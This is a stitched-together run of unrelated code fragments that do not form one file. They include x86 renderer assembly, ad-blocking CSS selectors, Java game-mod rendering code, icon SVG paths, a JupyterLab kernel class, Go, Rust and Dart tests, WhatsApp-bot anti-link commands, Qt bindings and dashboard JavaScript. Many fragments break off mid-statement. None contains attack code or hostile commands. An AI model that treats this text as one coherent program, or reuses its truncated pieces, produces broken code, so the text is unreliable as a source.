i=[];for(let[a,s]of t.refs){if(e&&!a.startsWith(e))continue;if(a.endsWith("^{}")){if(n){let l=a.replace("^{}",""),c=i[i.length


Lp1
	subl	%eax,%eax

//		}

Lp1:

//		fv->v[4] = temp;
//
//	// x, y, and z are scaled down by 1/2**31 in the transform, so 1/z is
//	// scaled up by 1/2**31, and the scaling cancels out for x and y in the
//	// projection
//		fv->v[0] = ((DotProduct(pverts->v, aliastransform[0]) +
//				aliastransform[0][3]) * zi) + aliasxcenter;
//		fv->v[1] = ((DotProduct(pverts->v, aliastransform[1]) +
//				aliastransform[1][3]) * zi) + aliasycenter;
//		fv->v[5] = zi;
// FIXME: fast float->int conversion?
								 // xaccum | v[2] | v[1] | v[0]
 	fadds	C(aliastransform)+12 // xaccum+ | v[2] | v[1] | v[0]
	fxch	%st(3)				 // v[0] | v[2] | v[1] | xaccum+

	fmuls	C(aliastransform)+16 // yaccum | v[2] | v[1] | xaccum+
			movl	%eax,fv_v+16(%edi)
	fadds	C(aliastransform)+28 // yaccum+ | v[2] | v[1] | xaccum+
	fld		%st(2)				 // v[1] | yaccum+ | v[2] | v[1] | xaccum+
	fmuls	C(aliastransform)+20 // yaccum2 | yaccum+ | v[2] | v[1] | xaccum+
	fld


Ad, .towerAdLeft, .towerAds, .tower_ad, .tower_ad_disclaimer, .towerad, .tp-ad-label, .tp_ads, .tpd-box-ad-d, .tpd-box-ad-e, .tr-ad-adtech, .tr-ad-adtech-placement, .tr-ad-inset, .tr-sponsored, .trSpAD1, .track_adblock, .trafficAdSpot, .trafficjunky-ad, .trb_ar_sponsoredmod, .trb_gptAd, .trb_header_adBanner_combo, .trb_header_adBanner_large, .trb_masthead_adBanner, .trb_pageAdHolder, .trb_soh, .trc-content-sponsoredUB, .treeAdBlockWithBanner_right, .trend-card-advert, .trend-card-advert__title, .trending__ad, .tribal-ad, .trip_ad_center, .trueads, .ts-ad { display: none!important; }
.ts-ad-leaderboard, .ts-ad-wrapper, .ts-ad_unit_bigbox, .ts-banner_ad, .ts-featured_ad, .ts-sponsored-links, .ts-top-most-ads, .tsfrm-sponsor-logo-content, .tsm-ad, .tsmAd, .tt_ads, .ttlAdsensel, .tto-sponsored-element, .tucadtext, .tv-ad-aside, .tvkidsArticlesBottomAd, .tvs-mpu, .twitter-ad, .two-col-ad-inArticle, .twoColumnAd, .two_ads, .twoadcoll, .twoadcolr, .tx-aa-adverts, .tx_smartadserver_pi1, .txt-ads, .txtAd, .txtAd5, .txtAds, .txt_ad, .txt_ads, .txtad_area, .txtadvertise, .tynt-ad-container, .type-ad, .type_adscontainer, .type_miniad, .type_promoads, .tz_ad300_widget, .tz_ad_widget, .uds-ad, .uds-ads, .ui-ad, .ui-ads, .ui-advertising__container, .ui-advertising_position1, .uim-ad, .ukAds, .ukn-banner-ads, .ukn-inline-advert { display: none!important; }
.ult_vp_videoPlayerAD, .unSponsored, .under-player-ads, .under_ads, .underplayer__ad, .undertimyads, .uniAdBox, .uniAds, .uniblue-text-ad, .unireg-ad-narrow, .unisterAdsStart, .unit-ad, .universalboxADVBOX01, .universalboxADVBOX03, .universalboxADVBOX04a, .unspoken-adplace, .upcloo-adv-content, .upcomingMob_2nd_adv_blk, .upper-ad-box, .upper-ad-space, .urban-ad-rect, .urban-ad-top, .us-advertisement, .us-txt-ad, .useful_banner_manager_banners_rotation, .useful_banner_manager_rotation_widget, .useful_banner_manager_widget, .usenext, .uvs-ad-full-width, .v5rc_336x280ad, .vAd_160x600, .vAds, .v_ad, .vadvert, .variable-ad, .variableHeightAd, .vbox-verticalad, .vce-ad-below-header, .vce-ad-container, .vce-header-ads, .vce_adsense_expand, .vce_adsense_widget, .vce_adsense_wrapper, .ve2_post_adsense, .vert-ad, .vert-ad-ttl, .vert-ads, .vert-adsBlock, .vertad, .vertical-adsense { display: none!important; }
.verticalAd, .verticalAdText, .vertical_ad, .vertical_ads, .verticalad, .verysmallads, .vhs_small_a


 {
		return super.onTickCheck(aTimer) || mStone != oStone;
	}

	@Override
	public void onTickResetChecks(long aTimer, boolean aIsServerSide) {
		super.onTickResetChecks(aTimer, aIsServerSide);
		oStone = mStone;
	}

	@Override
	public void setVisualData(byte aData) {
		mStone = aData;
	}

	@Override public byte getVisualData() {return mStone;}
	@Override public byte getDefaultSide() {return SIDE_FRONT;}
	@Override public boolean[] getValidSides() {return SIDES_HORIZONTAL;}

	@Override
	public int getRenderPasses2(Block aBlock, boolean[] aShouldSideBeRendered) {
		return 6;
	}

	@Override
	public boolean setBlockBounds2(Block aBlock, int aRenderPass, boolean[] aShouldSideBeRendered) {
		switch(aRenderPass) {
		case  0: box(aBlock, PX_P[SIDES_AXIS_Z[mFacing]?6:2], PX_P[ 3], PX_P[SIDES_AXIS_X[mFacing]?6:2], PX_P[SIDES_AXIS_Z[mFacing]?8:4], PX_N[ 1]+0.0001F, PX_P[SIDES_AXIS_X[mFacing]?8:4]); return T;
		case  1: box(aBlock, PX_P[ 0], PX_P[ 0], PX_P[ 0], PX_N[ 0], PX_N[14], PX_N[ 0]); return T;
		case  2: box(aBlock, PX_P[ 5], PX_P[ 0], PX_P[ 5], SIDES_AXIS_Z[mFacing]?PX_P[ 6]:PX_N[ 5], PX_N[ 5], SIDES_AXIS_X[mFacing]?PX_P[ 6]:PX_N[ 5]); return T;
		case  3: box(aBlock, SIDES_AXIS_Z[mFacing]?PX_N[ 6]:PX_P[ 5], PX_P[ 0], SIDES_AXIS_X[mFacing]?PX_N[ 6]:PX_P[ 5], PX_N[ 5], PX_N[ 5], PX_N[ 5]); return T;
		case  4: box(aBlock, PX_P[SIDES_AXIS_X[mFacing]?7:3], PX_P[ 8], PX_P[SIDES_AXIS_Z[mFacing]?7:3], PX_N[SIDES_AXIS_X[mFacing]?7:3], PX_N[ 6], PX_N[SIDES_AXIS_Z[mFacing]?7:3]); return T;
		case  5: box(aBlock, PX_P[SIDES_AXIS_Z[mFacing]?6:2], PX_P[ 3], PX_P[SIDES_AXIS_X[mFacing]?6:2], PX_N[SIDES_AXIS_Z[mFacing]?6:2], PX_N[ 1], PX_N[SIDES_AXIS_X[mFacing]?6:2]); return T;
		}
		return F;
	}

	public static IIconContainer
	sTextureLegs    = new Textures.BlockIcons.CustomIcon("machines/tools/grindstone/colored/legs"),
	sTextureAxle    = new Textures.BlockIcons.CustomIcon("machines/tools/grindstone/colored/axle"),
	sTextureStone   = new Textures.BlockIcons.CustomIcon("machines/tools/grindstone/colored/stone"),
	sTextureBottom  = new Textures.BlockIcons.CustomIcon("machines/tools/grindstone/colored/bottom"),
	sOverlayLegs    = new Textures.BlockIcons.CustomIcon("machines/tools/grindstone/overlay/legs"),
	sOverlayAxle    = new Textures.BlockIcons.CustomIcon("machines/tools/grindstone


234.4 252.3 164.9 167.7 160.8zM160 416c-52.94 0-96-43.06-96-96s43.06-95.1 96-95.1s96 43.06 96 95.1S212.9 416 160 416z"],7:[320,512,[],"37","M315.6 80.14l-224 384c-5.953 10.19-16.66 15.88-27.67 15.88c-5.469 0-11.02-1.406-16.09-4.359c-15.27-8.906-20.42-28.5-11.52-43.77l195.9-335.9H32c-17.67 0-32-14.33-32-32s14.33-32 32-32h256c11.45 0 22.05 6.125 27.75 16.06S321.4 70.23 315.6 80.14z"],8:[320,512,[],"38","M267.5 249.2C290 226.1 304 194.7 304 160c0-70.58-57.42-128-128-128h-32c-70.58 0-128 57.42-128 128c0 34.7 13.99 66.12 36.48 89.19C20.83 272.5 0 309.8 0 352c0 70.58 57.42 128 128 128h64c70.58 0 128-57.42 128-128C320 309.8 299.2 272.5 267.5 249.2zM144 96.01h32c35.3 0 64 28.7 64 64s-28.7 64-64 64h-32c-35.3 0-64-28.7-64-64S108.7 96.01 144 96.01zM192 416H128c-35.3 0-64-28.7-64-64s28.7-64 64-64h64c35.3 0 64 28.7 64 64S227.3 416 192 416z"],9:[320,512,[],"39","M160 32.01c-88.22 0-160 71.78-160 160c0 85.57 67.71 155.1 152.3 159.2l-64.65 76.06c-11.47 13.45-9.812 33.66 3.656 45.09c6 5.125 13.38 7.62 20.72 7.62c9.062 0 18.06-3.823 24.38-11.28C281.9 297.5 320 266.6 320 192C320 103.8 248.2 32.01 160 32.01zM160 288c-52.94 0-96-43.06-96-95.1s43.06-96 96-96s96 43.06 96 96S212.9 288 160 288z"],a:[384,512,[97],"41","M381.5 435.7l-160-384C216.6 39.78 204.9 32.01 192 32.01S167.4 39.78 162.5 51.7l-160 384c-6.797 16.31 .9062 35.05 17.22 41.84c16.38 6.828 35.08-.9219 41.84-17.22l31.8-76.31h197.3l31.8 76.31c5.109 12.28 17.02 19.7 29.55 19.7c4.094 0 8.266-.7969 12.3-2.484C380.6 470.7 388.3 452 381.5 435.7zM119.1 320L192 147.2l72 172.8H119.1z"],"address-book":[512,512,[62138,"contact-book"],"f2b9","M384 0H96C60.65 0 32 28.65 32 64v384c0 35.35 28.65 64 64 64h288c35.35 0 64-28.65 64-64V64C448 28.65 419.3 0 384 0zM240 128c35.35 0 64 28.65 64 64s-28.65 64-64 64c-35.34 0-64-28.65-64-64S204.7 128 240


ub
   * messages handled by the future.
   *
   * The most recently registered hook is run first. A hook can return a
   * boolean or a promise to a boolean, in which case all kernel message
   * processing pauses until the promise is fulfilled. If a hook return value
   * resolves to false, any later hooks will not run and the function will
   * return a promise resolving to false. If a hook throws an error, the error
   * is logged to the console and the next hook is run. If a hook is
   * registered during the hook processing, it will not run until the next
   * message. If a hook is removed during the hook processing, it will be
   * deactivated immediately.
   */
  registerMessageHook(
    hook: (msg: KernelMessage.IIOPubMessage) => boolean | PromiseLike<boolean>
  ): void {
    if (this.isDisposed) {
      throw new Error('Kernel future is disposed');
    }
    this._hooks.add(hook);
  }

  /**
   * Remove a hook for IOPub messages.
   *
   * @param hook - The hook to remove.
   *
   * #### Notes
   * If a hook is removed during the hook processing, it will be deactivated immediately.
   */
  removeMessageHook(
    hook: (msg: KernelMessage.IIOPubMessage) => boolean | PromiseLike<boolean>
  ): void {
    if (this.isDisposed) {
      return;
    }
    this._hooks.remove(hook);
  }

  /**
   * Send an `input_reply` message.
   */
  sendInputReply(
    content: KernelMessage.IInputReplyMsg['content'],
    parent_header: KernelMessage.IInputReplyMsg['parent_header']
  ): void {
    this._kernel.sendInputReply(content, parent_header);
  }

  /**
   * Dispose and unregister the future.
   */
  dispose(): void {
    this._stdin = Private.noOp;
    this._iopub = Private.noOp;
    this._reply = Private.noOp;
    this._hooks = null!;
    if (!this._testFlag(Private.KernelFutureFlag.IsDone)) {
      // TODO: Uncomment the following logging code, and check for any tests that trigger it.
      // let status = [];
      // if (!this._testFlag(Private.KernelFutureFlag.GotIdle)) {
      //   status.push('idle');
      // }
      // if (!this._testFlag(Private.KernelFutureFlag.GotReply)) {
      //   status.push('reply');
      // }
      // console.warn(
      //   `*************** DISPOSED BEFORE DONE: K${this._kernel.id.slice(
      //     0,
      //     6
      //   )} M${this._msg.header.msg_id.slice(0, 6)} missing ${status.join(' ')}`
      // );

      // Reject the `done` promise, but catch its error here in case no one else
      // is waiting for the promise to resolve. This prevents the error from
      // being displayed in the console, but does not prevent it from being
      // caught by a client who is waiting for it.
      this._done.promise.catch(() => {
        /* no-op */
      });
      this._done.reject(
        new Error(
          `Canceled future for ${this.msg.header.msg_type} message before replies were done`
        )
      );
    }
    super.dispose();
  }

  /**
   * Handle an incoming kernel message.
   */
  async handleMsg(msg: KernelMessage.IMessage): Promise<void> {
    switch (msg.channel) {
      case 'control':
      case 'shell':
        if (
          msg.channel === this.msg.channel &&
          (
            msg.parent_header as KernelMessage.IHeader<Kernel


"foo"},
		{"/foo", "/foo", ""},
		{"/foo/bar", "/foo", "bar"},
		{"/foo/bar", "/foo/", "bar"},
		{"/foo/", "/", "foo/"},
		{"/foo/", "/foo", ""},
		{"/foo/", "/foo/", ""},

		// if prefix is not s's prefix, return s
		{"", "/", ""},
		{"/foo", "/bar", "/foo"},
		{"/foo", "/foo/bar", "/foo"},
		{"foo", "/foo", "foo"},
		{"/foo", "foo", "/foo"},
		{"/foo", "/foo/", "/foo"},
	} {
		got := TrimFilePathPrefix(tt.s, tt.prefix)
		if got == tt.want {
			t.Logf("TrimFilePathPrefix(%q, %q) = %q", tt.s, tt.prefix, got)
		} else {
			t.Errorf("TrimFilePathPrefix(%q, %q) = %q, want %q", tt.s, tt.prefix, got, tt.want)
		}

		if HasFilePathPrefix(tt.s, tt.prefix) {
			joined := filepath.Join(tt.prefix, got)
			if clean := filepath.Clean(tt.s); joined != clean {
				t.Errorf("filepath.Join(%q, %q) = %q, want %q", tt.prefix, got, joined, clean)
			}
		}
	}
}

func TestTrimFilePathPrefixWindows(t *testing.T) {
	if runtime.GOOS != "windows" {
		t.Skipf("test requires Windows file paths")
	}
	type testCase struct {
		s, prefix, want string
	}
	for _, tt := range []testCase{
		{`\`, ``, `\`},
		{`\`, `\`, ``},
		{`C:`, `C:`, ``},
		{`C:\`, `C:`, `\`},
		{`C:\`, `C:\`, ``},
		{`C:\foo`, ``, `C:\foo`},
		{`C:\foo`, `C:`, `\foo`},
		{`C:\foo`, `C:\`, `foo`},
		{`C:\foo`, `C:\foo`, ``},
		{`C:\foo\`, `C:\foo`, ``},
		{`C:\foo\bar`, `C:\foo`, `bar`},
		{`C:\foo\bar`, `C:\foo\`, `bar`},
		// if prefix is not s's prefix, return s
		{`C:\foo`, `C:\bar`, `C:\foo`},
		{`C:\foo`, `C:\foo\bar`, `C:\foo`},
		{`C:`, `C:\`, `C:`},
		// if volumes are different, return s
		{`C:`, ``, `C:`},
		{`C:\`, ``, `C:\`},
		{`C:\foo`, ``, `C:\foo`},
		{`C:\foo`, `\foo`, `C:\foo`},
		{`C:\foo`, `D:\foo`, `C:\foo`},

		//UNC path
		{`\\host\share\foo`, `\\host\share`, `foo`},
		{`\\host\share\foo`, `\\host\share\`, `foo`},
		{`\\host\share\foo`, `\\host\share\foo`, ``},
		{`\\host\share\foo\bar`, `\\host\share\foo`, `bar`},
		{`\\host\share\foo\bar`, `\\host\share\foo\`, `bar`},
		// if prefix is not s's prefix, return s
		{`\\host\share\foo`, `\\host\share\bar`, `\\host\share\foo`},
		{`\\host\share\foo`, `\\host\share\foo\bar`, `\\host\share\foo`},
		// if either host or share name is different, return s
		{`\\host\share\foo`, ``, `\\host\share\foo`},
		{`\\host\share\foo`, `\foo`, `\\host\share\foo`},
		{`\\host\share\foo`, `\\host\other\`, `\\host\share\foo`},
		{`\\host\share\


ments = video_to_segments(cache_fn, time_interval=5.0, segment_start_time=start_time, num_segments_max=8)
    cache_path.cleanup()
    return video_segments

def load_video(video_id, start_time=0.0):
    video_info = load_video_info(video_id)
    transcript = video_info['transcript']
    for x in transcript:
        x['middle_time'] = (x['start'] + x['end']) / 2.0
    video_segments = load_video_mp4(video_id, start_time=start_time)

    # Add in subtitles!
    for x in video_segments:
        x['sub'] = [t['word'] for t in transcript if t['middle_time'] >= x['start_time'] and t['middle_time'] < x['end_time']]
        x['sub'] = ' '.join(x['sub'])
    return video_segments


String> o) {
  unittest.expect(o, unittest.hasLength(2));
  unittest.expect(o[0], unittest.equals('foo'));
  unittest.expect(o[1], unittest.equals('foo'));
}

void main() {
  unittest.group('obj-schema-SearchResponse', () {
    unittest.test('to-json--from-json', () async {
      final o = buildSearchResponse();
      final oJson = convert.jsonDecode(convert.jsonEncode(o));
      final od = api.SearchResponse.fromJson(
        oJson as core.Map<core.String, core.dynamic>,
      );
      checkSearchResponse(od);
    });
  });

  unittest.group('resource-EntitiesResource', () {
    unittest.test('method--search', () async {
      final mock = HttpServerMock();
      final res = api.KgsearchApi(mock).entities;
      final arg_ids = buildUnnamed1();
      final arg_indent = true;
      final arg_languages = buildUnnamed2();
      final arg_limit = 42;
      final arg_prefix = true;
      final arg_query = 'foo';
      final arg_types = buildUnnamed3();
      final arg_$fields = 'foo';
      mock.register(
        unittest.expectAsync2((http.BaseRequest req, json) {
          final path = req.url.path;
          var pathOffset = 0;
          core.int index;
          core.String subPart;
          unittest.expect(
            path.substring(pathOffset, pathOffset + 1),
            unittest.equals('/'),
          );
          pathOffset += 1;
          unittest.expect(
            path.substring(pathOffset, pathOffset + 18),
            unittest.equals('v1/entities:search'),
          );
          pathOffset += 18;

          final query = req.url.query;
          var queryOffset = 0;
          final queryMap = <core.String, core.List<core.String>>{};
          void addQueryParam(core.String n, core.String v) =>
              queryMap.putIfAbsent(n, () => []).add(v);

          if (query.isNotEmpty) {
            for (var part in query.split('&')) {
              final keyValue = part.split('=');
              addQueryParam(
                core.Uri.decodeQueryComponent(keyValue[0]),
                core.Uri.decodeQueryComponent(keyValue[1]),
              );
            }
          }
          unittest.expect(queryMap['ids']!, unittest.equals(arg_ids));
          unittest.expect(
            queryMap['indent']!.first,
            unittest.equals('$arg_indent'),
          );
          unittest.expect(
            queryMap['languages']!,
            unittest.equals(arg_languages),
          );
          unittest.expect(
            core.int.parse(queryMap['limit']!.first),
            unittest.equals(arg_limit),
          );
          unittest.expect(
            queryMap['prefix']!.first,
            unittest.equals('$arg_prefix'),
          );
          unittest.expect(queryMap['query']!.first, unittest.equals(arg_query));
          unittest.expect(queryMap['types']!, unittest.equals(arg_types));
          unittest.expect(
            queryMap['fields']!.first,
            unittest.equals(arg_$fields),
          );

          final h = {'content-type': 'application/json; charset=utf-8'};
          final resp = convert.json.encode(buildSearchResponse());
          return async.Future.value(stringResponse(200, h, resp));


nst status = args[0]?.toLowerCase();
    // Check the argument for enabling or disabling the anticall feature
    if (args[0] === "on") {
        config.AUTO_STATUS_REPLY = "true";
        return reply("status-reply feature is now enabled.");
    } else if (args[0] === "off") {
        config.AUTO_STATUS_REPLY = "false";
        return reply("status-reply feature is now disabled.");
    } else {
        return reply(`*🫟 ᴇxᴀᴍᴘʟᴇ:  .sᴛᴀᴛᴜs-ʀᴇᴘʟʏ ᴏɴ*`);
    }
});

//--------------------------------------------
//  ANTILINK COMMANDS
//--------------------------------------------

cmd({
  pattern: "antilink",
  alias: ["antilinks"],
  desc: "Enable or disable ANTI_LINK in groups",
  category: "group",
  react: "🚫",
  filename: __filename
}, async (conn, mek, m, { isGroup, isAdmins, isBotAdmins, args, reply }) => {
  try {
    if (!isGroup) return reply('This command can only be used in a group.');
    if (!isBotAdmins) return reply('Bot must be an admin to use this command.');
    if (!isAdmins) return reply('You must be an admin to use this command.');

    if (args[0] === "on") {
      config.ANTI_LINK = "true";
      reply("✅ ANTI_LINK has been enabled.");
    } else if (args[0] === "off") {
      config.ANTI_LINK = "false";
      reply("❌ ANTI_LINK has been disabled.");
    } else {
      reply("Usage: *.antilink on/off*");
    }
  } catch (e) {
    reply(`Error: ${e.message}`);
  }
});

cmd({
  pattern: "antilinkkick",
  alias: ["kicklink"],
  desc: "Enable or disable ANTI_LINK_KICK in groups",
  category: "group",
  react: "⚠",
  filename: __filename
}, async (conn, mek, m, { isGroup, isAdmins, isBotAdmins, args, reply }) => {
  try {
    if (!isGroup) return reply('This command can only be used in a group.');
    if (!isBotAdmins) return reply('Bot must be an admin to use this command.');
    if (!isAdmins) return reply('You must be an admin to use this command.');

    if (args[0] === "on") {
      config.ANTI_LINK_KICK = "true";
      reply("✅ ANTI_LINK_KICK has been enabled.");
    } else if (args[0] === "off") {
      config.ANTI_LINK_KICK = "false";
      reply("❌ ANTI_LINK_KICK has been disabled.");
    } else {
      reply("Usage: *.antilinkkick on/off*");
    }
  } catch (e) {
    reply(`Error: ${e.message}`);
  }
});

cmd({
  pattern: "deletelink",
  alias: ["linksdelete"],
  desc: "Enable or disable DELETE_LINKS in groups",
  category: "group",
  react: "❌",
  filename: __filename
}, async (conn, mek, m, { isGroup, isAdmins, isBotAdmins, args, reply }) => {
  try {
    if (!isGroup) return reply('This command can only be used in a group.');


~ bar"#, "true")
}

#[test]
fn contains_case_insensitive() -> TestResult {
    run_test(r#"'foobarbaz' =~ '(?i)BaR'"#, "true")
}

#[test]
fn not_contains() -> TestResult {
    run_test(r#"'foobarbaz' !~ asdf"#, "true")
}

#[test]
fn match_full_line() -> TestResult {
    run_test(r#"'foobarbaz' =~ '^foobarbaz$'"#, "true")
}

#[test]
fn not_match_full_line() -> TestResult {
    run_test(r#"'foobarbaz' !~ '^foobarbaz$'"#, "false")
}

#[test]
fn starts_with() -> TestResult {
    run_test(r#"'foobarbaz' =~ '^foo'"#, "true")
}

#[test]
fn not_starts_with() -> TestResult {
    run_test(r#"'foobarbaz' !~ '^foo'"#, "false")
}

#[test]
fn ends_with() -> TestResult {
    run_test(r#"'foobarbaz' =~ 'baz$'"#, "true")
}

#[test]
fn not_ends_with() -> TestResult {
    run_test(r#"'foobarbaz' !~ 'baz$'"#, "false")
}

#[test]
fn where_works() -> TestResult {
    run_test(
        r#"[{name: somefile.txt} {name: anotherfile.csv }] | where name =~ ^s | get name.0"#,
        "somefile.txt",
    )
}

#[test]
fn where_not_works() -> TestResult {
    run_test(
        r#"[{name: somefile.txt} {name: anotherfile.csv }] | where name !~ ^s | get name.0"#,
        "anotherfile.csv",
    )
}

#[test]
fn invalid_regex_fails() -> TestResult {
    fail_test(r#"'foo' =~ '['"#, "regex parse error")
}

#[test]
fn invalid_not_regex_fails() -> TestResult {
    fail_test(r#"'foo' !~ '['"#, "regex parse error")
}

#[test]
fn regex_on_int_fails() -> TestResult {
    fail_test(r#"33 =~ foo"#, "Types mismatched")
}

#[test]
fn not_regex_on_int_fails() -> TestResult {
    fail_test(r#"33 !~ foo"#, "Types mismatched")
}
use std::convert::TryInto;
use wasm_bindgen::prelude::*;
use crate::*;
use crate::ecelgamal::*;
use crate::selector::*;
use crate::reply::*;

fn vec_to_u8_32(vec: &Vec<u8>) -> [u8; 32] {
    let mut arr = [0u8; SCALAR_SIZE];
    arr.copy_from_slice(&vec[..]);
    arr
}

fn vec_to_privkey(privkey_vec: &Vec<u8>) -> PrivateKey {
    vec_to_u8_32(privkey_vec).into()
}

fn vec_to_pubkey(pubkey_vec: &Vec<u8>) -> PublicKey {
    (&vec_to_u8_32(pubkey_vec)).try_into().unwrap()
}

#[wasm_bindgen]
pub fn create_pubkey(privkey_vec: Vec<u8>) -> Vec<u8> {
    let privkey = vec_to_privkey(&privkey_vec);
    let pubkey = PublicKey::new(&privkey);
    let pubkey_arr: [u8; POINT_SIZE] = (&pubkey).into();
    pubkey_arr.to_vec()
}

#[wasm_bindgen]
pub fn encrypt(pubkey_vec: Vec<u8>, msg: u32, r_vec: Vec<u8>) -> Vec<u8> {
    let p


#include "libqhostaddress.hpp"
#include "libqhostinfo.hpp"
#include "libqhostinfo.h"

QHostInfo* q_hostinfo_new() {
    return QHostInfo_new();
}

QHostInfo* q_hostinfo_new2(void* d) {
    return QHostInfo_new2((QHostInfo*)d);
}

QHostInfo* q_hostinfo_new3(int lookupId) {
    return QHostInfo_new3(lookupId);
}

void q_hostinfo_operator_assign(void* self, void* d) {
    QHostInfo_OperatorAssign((QHostInfo*)self, (QHostInfo*)d);
}

void q_hostinfo_swap(void* self, void* other) {
    QHostInfo_Swap((QHostInfo*)self, (QHostInfo*)other);
}

const char* q_hostinfo_host_name(void* self) {
    libqt_string _str = QHostInfo_HostName((QHostInfo*)self);
    char* _ret = qstring_to_char(_str);
    libqt_string_free(&_str);
    return _ret;
}

void q_hostinfo_set_host_name(void* self, const char* name) {
    QHostInfo_SetHostName((QHostInfo*)self, qstring(name));
}

libqt_list /* of QHostAddress* */ q_hostinfo_addresses(void* self) {
    libqt_list _arr = QHostInfo_Addresses((QHostInfo*)self);
    return _arr;
}

void q_hostinfo_set_addresses(void* self, libqt_list addresses) {
    QHostInfo_SetAddresses((QHostInfo*)self, addresses);
}

int32_t q_hostinfo_error(void* self) {
    return QHostInfo_Error((QHostInfo*)self);
}

void q_hostinfo_set_error(void* self, int32_t error) {
    QHostInfo_SetError((QHostInfo*)self, error);
}

const char* q_hostinfo_error_string(void* self) {
    libqt_string _str = QHostInfo_ErrorString((QHostInfo*)self);
    char* _ret = qstring_to_char(_str);
    libqt_string_free(&_str);
    return _ret;
}

void q_hostinfo_set_error_string(void* self, const char* errorString) {
    QHostInfo_SetErrorString((QHostInfo*)self, qstring(errorString));
}

void q_hostinfo_set_lookup_id(void* self, int id) {
    QHostInfo_SetLookupId((QHostInfo*)self, id);
}

int32_t q_hostinfo_lookup_id(void* self) {
    return QHostInfo_LookupId((QHostInfo*)self);
}

void q_hostinfo_abort_host_lookup(int lookupId) {
    QHostInfo_AbortHostLookup(lookupId);
}

QHostInfo* q_hostinfo_from_name(const char* name) {
    return QHostInfo_FromName(qstring(name));
}

const char* q_hostinfo_local_host_name() {
    libqt_string _str = QHostInfo_LocalHostName();
    char* _ret = qstring_to_char(_str);
    libqt_string_free(&_str);
    return _ret;
}

const char* q_hostinfo_local_domain_name() {
    libqt_string _str = QHostInfo_LocalDomainName();
    char* _ret = qstring_to_char(_str);
    libqt_string_free(&_str);
    return _ret;
}

void q_hostinfo_delete(void* self) {
    QHostInfo_Delete((QHostInfo*)(self));
}


 .x-nbr .x-segmented-button-item.x-btn-focus.x-btn-nx-drilldown-medium:after {
    border-width: 1px;
    border-color: #191919;
}

.x-keyboard-mode .x-nbr .x-segmented-button-item.x-btn-focus.x-btn-over.x-btn-nx-drilldown-medium:after {
    border-width: 1px;
    border-color: #575757;
}

.x-keyboard-mode .x-nbr .x-segmented-button-item.x-btn-focus.x-btn-menu-active.x-btn-nx-drilldown-medium:after,
.x-keyboard-mode .x-nbr .x-segmented-button-item.x-btn-focus.x-btn-pressed.x-btn-nx-drilldown-medium:after {
    border-width: 1px;
    border-color: #545454;
}

.x-button-nx-drilldown-medium-cell > .x-grid-cell-inner {
    padding-top: 0;
    padding-bottom: 0;
}

.x-button-nx-drilldown-medium-cell > .x-grid-cell-inner >.x-btn-nx-drilldown-medium {
    vertical-align: top;
}

.x-btn-nx-drilldown-medium {
    padding: 0 2px 0 6px;
    top: 7px !important;
}

.x-btn-nx-drilldown-medium .x-btn-inner {
    text-overflow: ellipsis;
    height: 20px;
}

.x-btn-nx-drilldown-toolbar-small {
    -webkit-border-radius: 3px;
    -moz-border-radius: 3px;
    -ms-border-radius: 3px;
    -o-border-radius: 3px;
    border-radius: 3px;
    padding: 3px 3px 3px 3px;
    border-width: 1px;
    border-style: solid;
    background-image: none;
    background-color: transparent;
}

.x-btn-nx-drilldown-toolbar-small-mc {
    background-image: url(images/btn/btn-nx-drilldown-toolbar-small-fbg.gif);
    background-position: 0 top;
    background-color: transparent;
}

.x-nbr .x-btn-nx-drilldown-toolbar-small {
    padding: 0 !important;
    border-width: 0 !important;
    -webkit-border-radius: 0px;
    -moz-border-radius: 0px;
    -ms-border-radius: 0px;
    -o-border-radius: 0px;
    border-radius: 0px;
    background-color: transparent !important;
    background-image: none;
    box-shadow: none !important;
}

.x-btn-nx-drilldown-toolbar-small-frameInfo {
    font-family: th-3-3-3-3-1-1-1-1-3-3-3-3;
}

.x-btn-nx-drilldown-toolbar-small-tl {
    background-position: 0 -6px;
}

.x-btn-nx-drilldown-toolbar-small-tr {
    background-position: right -9px;
}

.x-btn-nx-drilldown-toolbar-small-bl {
    background-position: 0 -12px;
}

.x-btn-nx-drilldown-toolbar-small-br {
    background-position: right -15px;
}

.x-btn-nx-drilldown-toolbar-


class="modify-button">' + (table["isFrozen"] ? "unfreeze" : "freeze" ) + ' table

						\
																										\

																						\

																						\
	';
	var div = document.createElement("div");
	div.setAttribute("class", "table " + scaliendb.getTableState(configState, table["tableID"]));
	div.innerHTML = html;

	var shardsDiv = document.createElement("div");
	shardsDiv.setAttribute("id", "shards_" + table["tableID"]);
	if (tableShardsVisible[tableID])
		shardsDiv.setAttribute("style", "display:block");
	else
		shardsDiv.setAttribute("style", "display:none");

	for (var i in table["shards"])
	{
		shardID = table["shards"][i];
		shard = locateShard(configState, shardID);
		if (shard == null)
			continue;
		var shardDiv = createShardDiv(configState, shard);
		shardsDiv.appendChild(shardDiv);
	}

	div.appendChild(shardsDiv);

	return div;
}

function createShardDiv(configState, shard)
{
	var migrateShard = "";
	if (configState["quorums"].length > 1)
	{
		migrateShard = '															\
					migrate shard

';
	}

	var html =
	'																									\

																			\

																						\
																					\
					Shard ' + shard["shardID"] + '						\
																										\
																									\
	';

	html +=
	'																									\
					Quorum: ' + shard["quorumID"] + ' (' + scaliendb.getQuorumState(configState, shard["quorumID"]) + ')
												\
					Start key: ' + (shard["firstKey"] == "" ? "(empty)" : shard["firstKey"]) + '
							  		  		\
					End key: ' + (shard["lastKey"] == "" ? "(empty)" : shard["lastKey"]) + '
												\
					Splitable: ' + (shard["isSplitable"] ? "yes" : "no") + '
';
					if (shard["isSplitable"])
						html +=  'Split key: ' + (scaliendb.util.defstr(shard["splitKey"]) == "" ? "(empty)" : scaliendb.util.defstr(shard["splitKey"])) + '
';
					html += '																			\
					Size: ' + scaliendb.util.humanBytes(shard["shardSize"]) + '
	  				\
																										\
																				\
													\
					split shard

' +
					migrateShard +
				'																						\

																						\

																						\
	';

	var div = document.createElement("div");
	div.setAttribute("class", "shard


{
  List<int> subset = new List<int>();
  int index = 0;
  for (int k = x; k > 0; k >>= 1) {
    if ((k & 1) == 1) {
      subset.add(set[index]);
    }
    index++;
  }
  return subset;
}

List<List<int>> getSubsets2(List<int> set) {
  List<List<int>> allsubsets = new List<List<int>>();
  int max = 1 << set.length; /* Compute 2^n */
  for(int k = 0; k < max; k++) {
    List<int> subset = convertIntToSet(k, set);
    allsubsets.add(subset);
  }
  return allsubsets;
}

void main() {
  List<int> list = new List<int>();
  for (int i = 0; i < 3; i++) {
    list.add(i);
  }

  List<List<int>> subsets = getSubsets(list, 0);
  print(subsets.toString());

  List<List<int>> subsets2 = getSubsets2(list);
  print(subsets2.toString());

